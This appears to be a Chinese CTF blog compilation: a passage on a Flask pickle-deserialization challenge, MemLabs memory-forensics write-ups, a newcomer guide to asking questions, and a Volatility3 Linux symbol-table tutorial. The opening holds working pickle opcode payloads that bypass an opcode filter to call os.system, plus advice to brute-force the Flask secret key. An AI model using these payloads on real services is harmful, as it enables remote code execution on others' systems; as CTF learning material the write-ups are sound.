            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

SECRET_KEY 很简单,爆破就好了,flask-unsign 可以利用字典爆破,我们可以写一个字典用工具爆破就可以了

过滤了操作码 R o i b,还有几个关键字,这里考虑使用 python 的内置函数来进行 bypass,这里用的是 map 函数 ,这里我们可以使用 bytes bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next 来触发迭代,具体的分析参照上面的 利用 python 内置函数绕过

#bytes.__new__(bytes,map.__new__(map,os.system,('whoami',)))

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

或者也可以使用 tuple 也就是 tuple_new_impl->PySequence_Tuple->PyIter_Next

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

或者我们也可以换一个内置函数,比如 filter

opcode=b'''c__builtin__
filter
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

The Last Diary of Forensic

MemLabs Lab 4 | Obsession

下载链接:MemLabs_Lab4

Challenge Descryption

My system was recently compromised. The Hacker stole a lot of information but he also deleted a very important file of mine. I have no idea on how to recover it. The only evidence we have, at this point of time is this memory dump. Please help me.

Note : This challenge is composed of only 1 flag.

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

我的系统最近遭到入侵。黑客窃取了很多信息,但他还删除了我的一个非常重要的文件。我不知道如何恢复它。目前我们拥有的唯一证据就是这个内存转储。请帮我。

Progress

Flag

不多谈了好吧:

image

image

嗨嗨嗨,运气~

image

结合描述,文件被删除了,尝试恢复一下。

image

说一下 MFT表:

  • NTFS文件系统包含一个叫主文件表Master File Table)的文件,简称为MFT。对于在 NTFS 文件系统卷上的每个文件,在 MFT 中都至少会有一个条目。 MFT 条目会存储文件所有的信息,包括名称、大小、时间、时间戳、权限和数据内容,或者会存储在 MFT 条目所描述的 MFT 之外的空间。
  • 随着文件被添加到 NTFS 文件系统卷,会有更多的条目添加到 MFT ,并且 MFT 大小也会随之增加。但是当从 NTFS 卷中删除文件时,它们的 MFT 条目会被重新标记为空闲状态,并且可以重复使用。但是已为这些条目分配的磁盘空间是不会再重新分配的,并且 MFT 的空间不会减小。
  • 文件大小 小于等于 1024字节的文件,会直接存储在 MFT 表中(称为 驻留文件),如果超过1024字节MFT 表就会包含其位置信息,不会存储文件。(称为 非驻留文件)

volatility中提供了mftparser插件来查看系统的 MFT表:

image

image

字符串分散开了:inctf{1_is_n0t_EQu4l_7o_2_bUt_th1s_d0s3nt_m4ke_s3ns3}

MemLabs Lab 5 | Black Tuesday

下载链接:MemLabs Lab 5

Challenge Description

We received this memory dump from our client recently. Someone accessed his system when he was not there and he found some rather strange files being accessed. Find those files and they might be useful. I quote his exact statement,

The names were not readable. They were composed of alphabets and numbers but I wasn't able to make out what exactly it was.

Also, he noticed his most loved application that he always used crashed every time he ran it. Was it a virus?

Note-1 : This challenge is composed of 3 flags. If you think 2nd flag is the end, it isn't!! 😛

Note-2 : There was a small mistake when making this challenge. If you find any string which has the string " L4B_3_D0n3 !! " in it, please change it to " L4B_5_D0n3 !! " and then proceed.

Note-3 : You'll get the stage 2 flag only when you have the stage 1 flag.

最近我们从客户那里收到了这个内存转储。有人趁他不在时访问了他的系统,客户发现一些相当奇怪的文件正在被访问。找到这些文件,它们可能很有用。客户的原话是这样:

名字不可读。它们由字母和数字组成,但我不清楚它到底是什么。

注 1 :此挑战由 3 个flag组成。如果您认为第二个标志是结束,它不是!:P、

2:挑战时有一个小错误。如果您发现任何包含字符串“ L4B_3_D0n3 !! ”的字符串,请将其更改为“ L4B_5_D0n3 !! ”然后继续。

注意 3 :只有当您拥有flag1时,您才会获得flag2。

Progress

Flag 1

不想说了:

image

pslist

image

看到了特殊的进程,查看了命令行历史:

image

确实不可读🤔,提取出来:

image

image

emm,Stage2.png 看来是第二部分了,还得去找第一部分。

这个地方用到了iehistory(想不到吧:P)

iehistory插件可以恢复IE浏览器的历史 index.dat 缓存文件的片段。iehistory可以提取基本的访问协议(如http、ftp等)链接、重定向链接(-REDR)和已删除条目(-LEAK)。此外,不仅仅是IE浏览器,它适用于任何加载和使用的 winnet.dll库 的进程,通常包括 Windows 资源管理器 甚至恶意软件样本。

image

运气不错,熟悉的base64:

image

flag{!!_w3LL_d0n3_St4g3-1_0f_L4B_5D0n3!!}

Flag 2

有了第一个flag,去解密压缩包:

Stage2

直接出了

flag{W1thth1s$taGe_2_1sc0mPL3T3!!}

Flag 3

前面看到了 notepad.exe,提取文件,转储可执行文件,丢入IDA:

image

JO8DJR0SR06JOJUUH

XFEMYOO44F8AMYCGF57J

flag3:bi0s{M3m_l4b5OVeR!}

MemLabs Lab 6 | The Reckoning

下载链接:MemLabs Lab 6

Challenge Description

We received this memory dump from the Intelligence Bureau Department. They say this evidence might hold some secrets of the underworld gangster David Benjamin. This memory dump was taken from one of his workers whom the FBI busted earlier this week. Your job is to go through the memory dump and see if you can figure something out. FBI also says that David communicated with his workers via the internet so that might be a good place to start.

Note : This challenge is composed of 1 flag split into 2 parts.

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

我们从情报局收到了这个内存转储。他们说这个证据可能包含黑帮 大卫·本杰明 的一些秘密。这个内存转储是从本周早些时候被 FBI 逮捕的他的一名手下那里获取的。你的工作是通过内存转储,看看你是否能找出一些东西。联邦调查局还表示,大卫通过互联网与他的手下交流,因此这个内存可能是一个很好的案件突破口。

注意 :此挑战由 1 个flag 组成,分为 2 个部分。

本实验的flag格式为:inctf{s0me_l33t_Str1ng}

Progress

The first part of flag

。。。

image

排查一下可疑进程:

image

先看WinRAR.exe

image

image

提取一下:

image

image

经典,又是加密。。。

image

🤔emmm,有点生硬:

image

flag2

First Part:aNAm4zINg!_igU3Ss???}

The second part of flag

还有浏览器历史,之前安装过了插件:https://github.com/superponible/volatility-plugins

image

向下翻,有这么一条:

image

有一条回收站:

image

看一下回收站的链接:

Important - Google 文档,google文档

额,全是拉丁语,不过幸好,有Google 翻译

image

有个网盘链接:Mega网盘

image

emm又有加密

image

靠运气找Key果然还是行不通吗呜呜呜

直接 strings 全局搜:

strings Lab6.raw | grep "Mega Drive Key"

image

image

直接看是打不开的,拖进Winhex看看

image

这个地方要大写的IHDR,修复一下,16进制从69改成49

image

flag_

Second part:inctf{thi5cH4LL3Ng3!sg0nn4b3?

综上,flag为:inctf{thi5cH4LL3Ng3!s_g0nn4b3?_aNAm4zINg!_igU3Ss???}

The Second Diary of Forensic

MemLabs Lab_2 | A New World

下载链接:MemLabs Lab_2

Challenge description

One of the clients of our company, lost the access to his system due to an unknown error. He is supposedly a very popular "environmental" activist. As a part of the investigation, he told us that his go to applications are browsers, his password managers etc. We hope that you can dig into this memory dump and find his important stuff and give it back to us.

Note : This challenge is composed of 3 flags.

我们公司的一位客户由于未知错误而失去了对其系统的访问权限。据推测,他是一位非常受欢迎的“环保”主义者。作为调查的一部分,他告诉我们他的应用程序是浏览器、他的密码管理器等。我们希望你能深入这个内存转储并找到他的重要资料并将其还给我们。

注意:这个挑战由3个flag组成

Progress

Flag 1

老规矩:

image

根据题目描述,查看进程,重点查看浏览器和密码管理相关进程:

image

此外,上面还提到了环境变量,envars查看一下:

image

啊!这串熟悉的base64开头

image

flag{w3lc0m3T0$T4g3_!_Of_L4B_2}

Flag 2

回到浏览器,提取浏览器历史记录,volatility是不自带这个插件的

https://github.com/superponible/volatility-plugins

(255条消息) volatility2各类外部插件使用简介_Blus.King的博客-CSDN博客_volatility插件

注意: --plugins后写清插件位置,比如这样:

┌──(root㉿SanDieg0)-[/mnt/d/volatility-master]
└─# python2 vol.py  --plugins=./volatility/plugins/ -f "/mnt/f/Memlabs/lab2/Lab2.raw" --profile=Win7SP1x64 chromehistory

image

发现了一个下载链接,

image

image

上个实验第三部分flag:flag{w3ll_3rd_stage_was_easy}

image

image

flag{oK_So_Now_St4g3_3_is_DoNE!!}

Flag 3

还有一个密码管理器进程KeePass.exe没有用到

KeePass会存储密码在以.kdbx为后缀的数据库中,并用主密码(master password)进行管理

image

image

filescan并进行筛选:

image

image

Hidden.kdbx转储出来后,找密码,文件里面有一张叫Password.png的图片

Password

密码右下角:P4SSw0rd_123

有了密码后,在KeePass里面打开这个数据库:

image

右键直接复制出来密码:flag{w0w_th1s_1s_Th3_SeC0nDST4g3!!}

(咦?这个才是第二个flag吗?没事,我懒得改了:)

MemLabs Lab 3 | The Evil's Den

下载链接:MemLabs Lab 3

Challenge Descryption

A malicious script encrypted a very secret piece of information I had on my system. Can you recover the information for me please?

Note-1 : This challenge is composed of only 1 flag. The flag split into 2 parts.

Note-2 : You'll need the first half of the flag to get the second.

You will need this additional tool to solve the challenge,

sudo apt install steghide

The flag format for this lab is: inctf{s0me_l33t_Str1ng}

恶意脚本加密了我系统上的一条非常机密的信息。你能为我恢复信息吗?

注意-1:本次挑战只有一个flag,但被分为两个部分。

注意-2:你需要得到第一部分的flag才能得到第二部分flag。

Progress

The first part of the flag

老样子:

image

题目描述说有恶意脚本,看一下cmd的记录:

image

确实有一个叫恶意脚本的py脚本🤔还有一个vip.txt

image

evilscript.py.py:

import sys
import string

def xor(s):

    a = ''.join(chr(ord(i)^3) for i in s)
    return a

def encoder(x):

    return x.encode("base64")

if __name__ == "__main__":

    f = open("C:\\Users\\hello\\Desktop\\vip.txt", "w")

    arr = sys.argv[1]

    arr = encoder(xor(arr))

    f.write(arr)

    f.close()

vip.txt:

image

呃。。。

看一下脚本过程比较简单,先用一个字符将vip.txt的内容进行异或,然后base64加密一遍,解密也很简单,把过程逆过来就好:

s = 'am1gd2V4M20wXGs3b2U='
d = s.decode('base64')
a = ''.join(chr(ord(i)^3) for i in d)

print a

执行结果:inctf{0n3_h4lf,这是第一部分

The second part of the flag

按照题目描述,还会用到steghide,扫一下图片文件:

image

.jpg都是些临时文件,.jpeg这个可能性最大,而且名字就很可疑🤔导出来看看:

suspision1image上面说,有了第一部分的flag才能获取到第二部分,那提示很明显了,密码应该就是第一部分flag

image

_1s_n0t_3n0ugh}

综上,flag为:inctf{0n3_h4lf_1s_n0t_3n0ugh}

The First Diary of Forensic

用取证软件去做题也能叫取证?懂不懂volatility的含金量啊?
自己到现在还没认真用过Vol,打算刷刷题然后系统学习一下。
(毕竟不能总是指望着用取证大师之类的吧🤔)

MemLabs Lab_0 | Never Too Late Mister

下载链接:Lab0

Challenge Description

My friend John is an "environmental" activist and a humanitarian. He hated the ideology of Thanos from the Avengers: Infinity War. He sucks at programming. He used too many variables while writing any program. One day, John gave me a memory dump and asked me to find out what he was doing while he took the dump. Can you figure it out for me?

我的朋友约翰是一位“环保”活动家和人道主义者。他讨厌复仇者联盟中灭霸的观点:无限战争。他编程很烂。他在编写任何程序时使用了太多变量。有一天,约翰给了我一个内存转储,并让我找出他在转储时在做什么。你能帮我弄清楚吗?

Progress

整体下来就是一个常规取证思路,先imageinfo看一下:

image

Vol3给出的建议是Win7SP1X86_23418,查看一下进程信息:

image

看到有运行过cmd.exe,查看一下历史命令行信息:

image

有一个可疑文件,用cmd调用python.exe,这个地方可以用MARKDOWN_HASH113422dfd86463d669e94c07cf61e0dcMARKDOWNHASH插件,来查看执行的命令行历史记录(扫描CONSOLE_INFORMATION信息)

image

得到一串字符串335d366f5d6031767631707f

image

看上去是一段乱码:3]6o]`1vv1p.

如果不解密字符串的话,下一步也不知道干什么。

此时结合上面题目描述"environmental" activist环保主义者提示,应该是要查看环境变量

envars查看一下发现太多了。。。果然是个很差的技术员,在编写程序时使用了太多环境变量

不过后面有提到Thanos,尝试在环境变量里面搜一下

image

发现真的有,环境变量指向xor and password

先提取password

image

image

后面这串查不到啊艹,看了WP人家是查到了。。。。。。

image

这是第一部分:flag{you_are_good_but

剩下一部分,来处理提示中的xor,目标字符串应该是前面hex解密出的乱码

不过不清楚异或字符是啥,只能爆破了

a = "335d366f5d6031767631707f".decode("hex")
for i in range(0,255):
    b = ""
    for j in a:
        b = b + chr(ord(j) ^ i)
    print b

image

flag{you_are_good_but1_4m_b3tt3r}

MemLabs Lab_1 | Beginner's Luck

下载链接:Lab1

Challenge description

My sister's computer crashed. We were very fortunate to recover this memory dump. Your job is get all her important files from the system. From what we remember, we suddenly saw a black window pop up with some thing being executed. When the crash happened, she was trying to draw something. Thats all we remember from the time of crash.

Note : This challenge is composed of 3 flags.

我姐姐的电脑坏了。我们非常幸运地恢复了这个内存转储。你的工作是从系统中获取她所有的重要文件。根据我们的记忆,我们突然看到一个黑色的窗口弹出,上面有一些正在执行的东西。崩溃发生时,她正试图画一些东西。这就是电脑崩溃时我们所记得的一切。

注意 :此挑战由 3 个flag组成。

Progress

Flag 1

image

既然有提到突然看到黑色窗口弹出,在执行一些东西,(看描述像是cmd命令行)那么我们用pslist查看一下:

image

确实是有cmd.exe这个进程,consoles查看命令行输出结果:

image

很熟悉的base64,

image

flag{th1s_1s_th3_1st_st4g3!!}

Flag 2

When the crash happened, she was trying to draw something.

在画画,看一下进程列表:

image

看名称,这个进程和画画有关,PID是2424

image

image

修改文件名后缀为data,导入GIMP

调整一下偏移量和宽高,

image

image

翻转一下就是flag

image

flag{Good_Boy_good_girl}

Flag 3

后来才知道,这个地方看的是WinRAR.exe进程,

image

看一下WinRAR.exe进程历史

image

看到了一个RAR压缩包:Important.rar

image

根据地址提取出来:

image

检测是rar文件类型。修改文件名解压发现需要密码:

image

hashdump提取

┌──(root㉿SanDieg0)-[/mnt/d/volatility_2.6_win64_standalone]
└─# ./volatility.exe -f "F:\Memlabs\lab1\Lab1.raw" --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SmartNet:1001:aad3b435b51404eeaad3b435b51404ee:4943abb39473a6f32c11301f4987e7e0:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:f0fc3d257814e08fea06e63c5762ebd5:::
Alissa Simpson:1003:aad3b435b51404eeaad3b435b51404ee:f4ff64c8baac57d22f22edc681055ba6:::

hashdump提取有两个HASH,第一个是使用LANMAN算法,这种散列值非常不安全,在Vista以来的Windows系统已经不再采用LANMAN HASH。因此这个hash前会提供一个aad开头的虚拟值。

第二个HASH是我们常说的NTLM HASH,也好不到哪去。

这个地方要解密NTLM,看用户名我盲猜是最后一个f4ff64c8baac57d22f22edc681055ba6

image

拿解密到的字符串怎么试都不对,结果发现,不用解密,换成大写。。。(无语住了)

flag3

flag{w3ll_3rd_stage_was_easy}

提问的智慧:纳新向

如何快速解决自己遇到的问题,并提升自己

image

对于一些简单的问题,要充分利用各种搜索引擎,如果上来就问师哥师姐怎么到这一步,按哪个键,怎么学,那自己的真正能力不会得到多少提高。而是应该明白自己哪里不懂,找对问题,针对这个方向去问,提问时你最好能将你对这个问题的思考,为解决 问题所做过的尝试,搜索过的关键字一并告诉我们,我们能为你解决疑惑,还可能给你搜索 技巧上的建议,强化你的搜索技能,从而更快更好的提升自己:)

推荐使用谷歌搜索,国内的话百度勉强够用。

很多资料不知道从哪里学很正常,沉下心来都可以解决的,退缩的人很多,希望大家能坚持下去.

以下是一些例子

例子1

image

这个问题百度第一页就有解决方案

image

例子2

image

image

只需要明确自己的配置问题,及时你不明确,搜索报错也能搜索出结果,百度第一个结果就是

image

例子3

紧接上一个问题

image

继续问重复的问题

image

例子4

image

image

例子5

image

image

image

优秀的提问例子

image

说明自己的解决方案后再提问

附赠一张经典老图

image

Sekai CTF | Linux Newly version of Kernel Memory Forensics

好久没更新了,水一篇Forensic

      \                             SORRY                         /
         \                                                     /
          \                     This page does                /
           ]                    not exist yet.               [    ,'|
           ]                                                 [   /  |
           ]___                                           ___[ ,'   |
           ]  ]\                                         /[  [ |:   |
           ]  ] \                                       / [  [ |:   |
           ]  ]  ]                                     [  [  [ |:   |
           ]  ]  ]__                                 __[  [  [ |:   |
           ]  ]  ] ]\                ___            /[ [  [  [ |:   |
           ]  ]  ] ]               (((#)))           [ [  [  [ :===='
           ]  ]  ]_]                .nHn.              [_[  [  [
           ]  ]  ]                  HHHHH.            [  [  [
           ]  ] /                   `HH("N             \ [  [
           ]__]/                     HHH  "             \[__[
           ]                         NNN                    [
           ]                         N/"                    [
           ]                         N H                    [
          /                          N                       \
         /                           q,                       \
        /                                                      \

The difference between Volatility2 and Volatility3

Volatility2 下的 profile 制作过程就不写了,主要学习下提一句,非常建议用CentOS 7来制作相应文件,不然在其他 Linux 系统(例如Ubuntu),解决软件依赖性得修好长时间(哭~~)

Volatility2:https://www.jianshu.com/p/7288ac54cd5c

Profile

Profile是特定操作系统版本以及硬件体系结构(x86、x64、ARM)中VTypes、共用体、对象类型的集合。

Vtypes 是 Volatility 框架中数据结构定义以及解析的语言,大部分操作系统底层都是使用 C 语言编写的,其中大量使用数据结构来组织和管理相关的变量以及属性。

因为 Volatility 是用 Python 语言编写的,所以我们需要一种方式在Python 源文件中表示 C 语言的数据结构。

VTypes 正是用于实现这一点的。

除了这些组件以外,Profile 还包括如下:

  • 元数据:操作系统的名称(例如:“windows”,“mac”,“linux”),内核版本,以及编译号。
  • 系统调用信息:索引以及系统调用的名称。
  • 常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量
  • 系统映射:关键全局变量和函数的地址(仅限 Linux 和 Mac)

但在 Volatility3 中,不再使用配置文件Profile,取而代之,vol3自身带有一个扩展的符号表库Symbols,并且对于大多数Windows内存镜像,可以基于内存映像本身来生成新的符号表。它允许符号表包含基于该操作系统位置(符号位置)的特定偏移量。这意味着通过官方调试信息提供的那些结构的已知偏移量,可以更轻松、更快速地识别操作系统中的结构。

Symbol Tables

用于分析相关操作系统数据的内核符号表压缩包,其所有文件以JSON数据格式存储,可以是纯json文件.json,也可以是.json.gz或者.json.xz,Volatility3在使用它们时会自动解压。此外,Vol3会在用户主目录下的.cache/volatility3目录下会缓存他们的压缩内容,当前还无法更改这个缓存目录。

Vol3的symbol tables分为两类,上面的Windows Symbol tables作为一类,由于对Mac和Linux采用相同的识别机制,统分为另外一类。

Windows

对于WIndows系统,符号表字符串由所需PDB文件的GUIDAge组成,Volatility会搜索windows子目录下配置的所有文件,并与包含pdb名称,GUID/Age(或者其他压缩形式)的所有元数据进行匹配、利用。如果找不到的话,会从 Microsoft 官方的符号表服务器下载相关的PDB文件,并自动转化成适当的JSON格式,并存储在合适的位置。

可以从适当的 PDB 文件手动构建 Windows 符号表,而执行此操作的主要工具已经内置在 Volatility3了:pdbconv.py。 该文件支持从Volatility3的根路径运行,命令如下:

┌──(kali㉿kali)-[~]
└─$ python3 ./volatility3/framework/symbols/windows/pdbconv.py

Volatility官方也已经给出了Windows符号表:Volatility3官方:Windows符号表下载

Linux/Mac

Volatility3官方:Mac符号表下载

对于 Mac,它只有特定数量的内核,但我们不会经常更新包,因为它有点耗时。

Volitility3官方:Linux符号表(不全)

dwarf2json 可以从 DWARF文件生成 Linux 和 Mac 符号表。而当前,利用内核中包含的调试符号表,是大多数Volatility3插件恢复信息的唯一合适方法。

值得注意的是,只有 -- elf的方案在 vol3 中可行,其他使用如 Sysmap 解析出来的 json 都是不可行的.。(在vol2中生成profile会用到 Sysmap )

./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-4.4.0-137-generic > output.json

此外,为什么上面说Linux符号表信息不全呢?因为Linux内核易于编译且唯一,无法区分它们,因此官方提供的Linux符号表并不详尽,因此在面对Linux内存取证时,要自行生成符号表;并且,标准内核是被剥离了调试信息的,若想获取带有调试信息的,则需从文件中单独获取。

LiME:Linux Memory Extractor

LiME是Linux可加载内核模块(LKM)Linux的内存提取器,它允许从Linux或者基于Linux的设备(如:Android)获取临时性内存(RAM)。LiME成为第一个允许在Android设备上捕获完整内存的工具,并且最大限度地减少了在获取过程中用户和内核空间进程之间的交互,因此LiME能生成比其他工具更可靠的内存捕获。

基于LiME工具的Android手机动态内存提取

CentOS 5.5编译LiME

编译LiME

[root@localhost CentOS]# tar -zxvf LiME.tar.gz
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/LiME/src/
[root@localhost src]# make
make -C /lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/LiME/src" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  Building modules, stage 2.
  MODPOST
  LD [M]  /home/yunwei/Desktop/malware/LiME/src/lime.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
strip --strip-unneeded lime.ko
mv lime.ko lime-2.6.18-194.el5.ko
[root@localhost src]# ll
total 1176
-rw-r--r-- 1 root root   2557 Sep 28  2017 disk.c
-rw-r--r-- 1 root root 168240 May 20 10:44 disk.o
-rw-r--r-- 1 root root  41984 May 20 11:46 lime-2.6.18-194.el5.ko
-rw-r--r-- 1 root root   1920 Sep 28  2017 lime.h
-rw-r--r-- 1 root root   1151 May 20 10:44 lime.mod.c
-rw-r--r-- 1 root root  81632 May 20 10:44 lime.mod.o
-rw-r--r-- 1 root root 505173 May 20 10:44 lime.o
-rw-r--r-- 1 root root   6614 Sep 28  2017 main.c
-rw-r--r-- 1 root root 175408 May 20 10:44 main.o
-rw-r--r-- 1 root root   1661 Sep 28  2017 Makefile
-rw-r--r-- 1 root root   1722 Sep 28  2017 Makefile.sample
-rw-r--r-- 1 root root      0 May 20 10:44 Module.markers
-rw-r--r-- 1 root root      0 May 20 10:44 Module.symvers
-rw-r--r-- 1 root root   3889 Sep 28  2017 tcp.c
-rw-r--r-- 1 root root 166152 May 20 10:44 tcp.o

抓取内存

/home/centos/Desktop/forensic/centos5.lime为自定义路径

## 进入内核模式抓取内存
[root@localhost src]# insmod lime-uname -r.ko path=/home/yunwei/Desktop/malware/centos5.lime format=lime
## 再次抓取内存前要先运行以下命令退出内核模式
[root@localhost src]# rmmod lime

制作元数据

dwarf2dump使用

安装调试文件导出工具dwarfdump

  • 下载与编译libdwarf
## 解压Libdwarf
[root@localhost src]# git clone https://github.com/tomhughes/libdwarf.git
[root@localhost src]# tar -zxvf libdwarf.tar.gz

## 光盘安装依赖包
[root@localhost src]# cd /media/CentOS_5.5_Final/CentOS/
[root@localhost src]# rpm -ivh /media/CentOS_5.5_Final/CentOS/elfutils-libelf-0.137-3.el5.x86_64.rpm 
[root@localhost libdwarf]# rpm -ivh elfutils-libelf-devel-static-0.137-3.el5.x86_64.rpm elfutils-libelf-devel-0.137-3.el5.x86_64.rpm elfutils-libelf-0.137-3.el5.x86_64.rpm

## 编译安装 libdwarf
[root@localhost CentOS]# cd /home/yunwei/Desktop/malware/libdwarf
[root@localhost CentOS]# ./configure
[root@localhost libdwarf]# make

### 若没有报错,则表示安装正确。
[root@localhost libdwarf]# cd dwarfdump/
[root@localhost dwarfdump]# make install
cp dwarfdump /usr/local/bin/dwarfdump
cp ./dwarfdump.conf /usr/local/lib/dwarfdump.conf
cp ./dwarfdump.1 /usr/local/share/man/man1/dwarfdump.1
[root@localhost dwarfdump]# dwarfdump -h
### 输入dwarfdump -h若没有报错,则表示安装正确。
  • 生成内存镜像
[root@localhost malware]# tar -zxvf volatility.tar.gz
[root@localhost malware]# cd volatility/tools/linux/
## 错误
[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CC [M]  /home/yunwei/Desktop/malware/volatility/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:214: error: redefinition of ‘struct module_sect_attr’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:221: error: redefinition of ‘struct module_sect_attrs’
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:375:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility/tools/linux/module.c:391:5: warning: "DEBUG" is not defined
make[2]: *** [/home/yunwei/Desktop/malware/volatility/tools/linux/module.o] Error 1
make[1]: *** [_module_/home/yunwei/Desktop/malware/volatility/tools/linux] Error 2
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
make: *** [dwarf] Error 2

### 注释掉 198,7 ~ 221,7,编译问题就解决了
/*
#if LINUX_VERSION_CODE == KERNEL_VERSION(2,6,18)
....
struct module_sections module_sect_attrs;

#endif
*/

## 注释代码之后,编译输出状态

[root@localhost linux]# make
make -C //lib/modules/2.6.18-194.el5/build CONFIG_DEBUG_INFO=y M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" modules
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CC [M]  /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.o
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:354:5: warning: "STATS" is not defined
/home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.c:370:5: warning: "DEBUG" is not defined
  Building modules, stage 2.
  MODPOST
  CC      /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.mod.o
  LD [M]  /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/module.ko
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/2.6.18-194.el5/build M="/home/yunwei/Desktop/malware/volatility-2.6/tools/linux" clean
make[1]: Entering directory `/usr/src/kernels/2.6.18-194.el5-x86_64'
  CLEAN   /home/yunwei/Desktop/malware/volatility-2.6/tools/linux/.tmp_versions
make[1]: Leaving directory `/usr/src/kernels/2.6.18-194.el5-x86_64'

Construct the new kernel ISF JSON file

https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html

先运行Volatility3 的banners插件,以确定必要的内核版本。

[root@172 volatility3]$ python3 vol.py -f /home/ad/lmg/memdump/dump.mem banners.Banners
Volatility 3 Framework 2.4.0
Progress:  100.00       PDB scanning finished            
Offset  Banner

0x42400200  Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)
0x437c3718  Linux version 5.15.0-43-generic (buildd@lcy02-amd64-076) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)9)

注意:banners.Banners插件只能识别 Linux 镜像的banner信息,不识别 Windows。

然后我们需要符号表(symbol tables)。根据上面写的dwarf2json生成 json 的命令,是需要我们提供 /usr/lib/debug/boot目录下的vmlinux文件,但是系统往往不会自带该文件,然后发现在/boot目录下有一个相同名字的 vmlinux 文件,但是并不可用。

方案一:apt 安装 vmlinux

⚠:本方案需在指定容器中提供至少 20G 容器空间

大多数情况下,我们会采用apt添加源之后安装的方法。

  1. 导入GPG key(此处直接使用网络提供的),在许多 vmlinux 的帖文中, 很少提及该步骤,或者对不同版本的GPG Key 导入没有明确说明。
  • Ubuntu 16.04 & higher:

    jsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C8CAB6595FDFF622
  • Older distributions:

    sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
  1. 添加源

    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    echo "deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list.d/ddebs.list
    
    apt-get update
    apt-get upgrade
  2. 安装指定的debugging system ,可以把 uname -r 换成指定的版本(比如banners提到的5.15.0-43-generic,但是需要系统是可以解析的

    apt-get install linux-image-$(uname -r)-dbgsym

方案二:直接获取dbgsym文件安装在指定系统

⚠:本方案需在指定容器中提供至少 5G 内存空间

获取源文件网址:https://launchpad.net/ubuntu/+source/linux ,按需选择下载。

[root@172 home]$ git clone https://github.com/volatilityfoundation/dwarf2json
[root@172 home]$ cd dwarf2json
[root@172 dwarf2json]$ go build
[root@172 dwarf2json]$ wget https://launchpad.net/ubuntu/+archive/primary/+files/linux-image-unsigned-5.15.0-48-generic-dbgsym_5.15.0-48.54_amd64.ddeb
[root@172 dwarf2json]$ cd ../
[root@172 home]$ docker run -it --rm -v $PWD:/volatility ubuntu:20.04 /bin/bash
[root@docker]$ cd volatility
[root@docker /volatility]$ dpkg -i linux-image-unsigned-5.15.0-48-generic-dbgsym_5.15.0-48.54_amd64.ddeb
[root@docker /volatility]$ cd ../dwarf2json
[root@docker /dwarf2json]$ ./dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.15.0-48-generic > linux-image-5.15.0-48-generic.json 
